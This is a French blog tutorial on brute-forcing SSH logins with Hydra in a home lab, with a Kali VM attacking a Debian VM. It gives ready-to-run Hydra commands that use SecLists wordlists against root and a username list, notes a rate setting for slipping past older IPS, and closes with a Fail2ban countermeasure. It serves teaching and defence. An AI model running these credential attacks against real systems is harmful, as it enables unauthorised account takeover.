Réaliser une attaque brute force (simple) avec Hydra
Rappel : L’article qui va suivre contient des techniques et méthodes qui peuvent s’avérer être illégales et dangereuses si elles sont utilisées à mauvais escient. Ce tutoriel a pour unique but de vous enseigner à vous protéger contre les “black-hat” (Hackers mal intentionnés) et ne doit en aucun cas être utilisé contre un particulier, une entreprise, une organisation à but non lucratif ou une administration publique de quelconque pays. Je me dédouane de toute responsabilité en cas de problèmes ou d’incidents de quelque nature que ce soit après le visionnage de cet article en provenance de mon site brlndtech blog ainsi que la vidéo YouTube (Chaîne Youtube Blrndtech) qui lui est rattaché.
Préambule
je vais utiliser Kali linux (192.168.145.129/24) sous sa dernière version à savoir 2020.2 à ce jour, ainsi qu’une machine victime (Debian 10.X) qui sera identifié par l’adresse IP suivante : 192.168.145.141/24. La machine de l’attaquante devra pouvoir communiquer avec la machine virtuelle cible Debian 10.X.
Ce tutoriel est réalisé par l’intermédiaire de l’hyperviseur de type 2 Vmware Workstation 15.6
Etape 1 – Préparation de l’environnement
Si vous ne disposez pas de dictionnaire de mot de passe / nom d’utilisateur, cloné le repository git suivant : https://github.com/danielmiessler/SecLists (700mo), vous y trouverez votre bonheur. Pour ce tutoriel, je me baserai notamment sur les fichiers xato-net-10-million-passwords-100.txt et top-usernames-shortlist.txt.
NB : toutes ces commandes sont exécutées par utilisateur root
cd /home/kali
mkdir passwords-and-usernames
git clone https://github.com/danielmiessler/SecLists
Copié/collé, les dictionnaires de mots de passe / nom d’utilisateurs (fichiers *.txt).
cp -r SecLists/Usernames/*.txt /home/kali/passwords-and-usernames/
cp -r SecLists/Passwords/*.txt /home/kali/passwords-and-usernames/
cd passwords-dict/
Etape 2 : Attaque depuis Kalilinux
Ciblé un utilisateur particulier
- -s = port
- -l = utilisateur simple
- -L = utilisateurs extraient d’une liste
- -P = mots de passe extraient d’une liste
- -T = nombre d’essai par seconde (4, étant une valeur recommandé, pour outrepasser certains IPS vieillissant et non mis à jours)
- -V = Afficher tout les essais dans la fenêtre du terminal
D’autres options disponible, pour d’autres contexte.
Pour plus d’info : hydra --help
hydra -s 22 -l root -P xato-net-10-million-passwords-10.txt 192.168.145.141 -t 4 -V ssh
Utilisé une liste d’username + un dico de mot de passe. Dans ce contexte chaque utilisateur sera testé avec l’ensemble des mots de passe de la liste.
hydra -s 22 -L top-usernames-shortlist.txt -P xato-net-10-million-passwords-10.txt 192.168.145.141 -t 4 -V ssh
Cibler un groupe d’utilisateur donné
Dans ce scénario, chaque mot de passe de la liste xato-net-10-million-passwords-10.txt sera testé pour chaque utilisateur du fichier top-usernames-shortlist.txt. L’attaque est bien plus longue, mais elle a plus de chances de réussir qu’une attaque visant simplement un seul utilisateur.
hydra -s 22 -L top-usernames-shortlist.txt -P xato-net-10-million-passwords-10.txt 192.168.145.141 -V ssh
Contre-mesures
Afin de limiter ce genre d’attaque, qui peut être gravissime si elle aboutit, installez sur votre serveur Linux « victime » un IPS (Intrusion Prevention Software) comme le non moins célèbre Fail2ban, qui vous permet de limiter ce genre d’attaque très facilement.
apt install fail2ban
# Fail2ban est installé et actif au boot
# par défaut fail2ban bloque une l'ip d'un utilisateur au bout de 4 essais infructueux.
Pour plus de renseignements, sur un paramétrage avancé de fail2ban, consultez : https://www.a2hosting.com/kb/security/hardening-a-server-with-fail2ban
Voilà le message que vous allez obtenir dès à présent si vous retentez de nouvelle une attaque depuis la machine attaquante vers votre cible.
Connectez-vous sur la machine victime, et tapez la commande ci-dessous :
Vous pouvez le constater, l’IP de l’attaquant a bien été bloquée
Pour débanir votre ip, veuillez entrer la commande suivante :
fail2ban-client set sshd unbanip 192.168.0.X
Voilà, c’est tout pour cette fois-ci !
À bientôt 🙂
Brlndtech
En savoir plus sur Le Guide Du SecOps
Subscribe to get the latest posts sent to your email.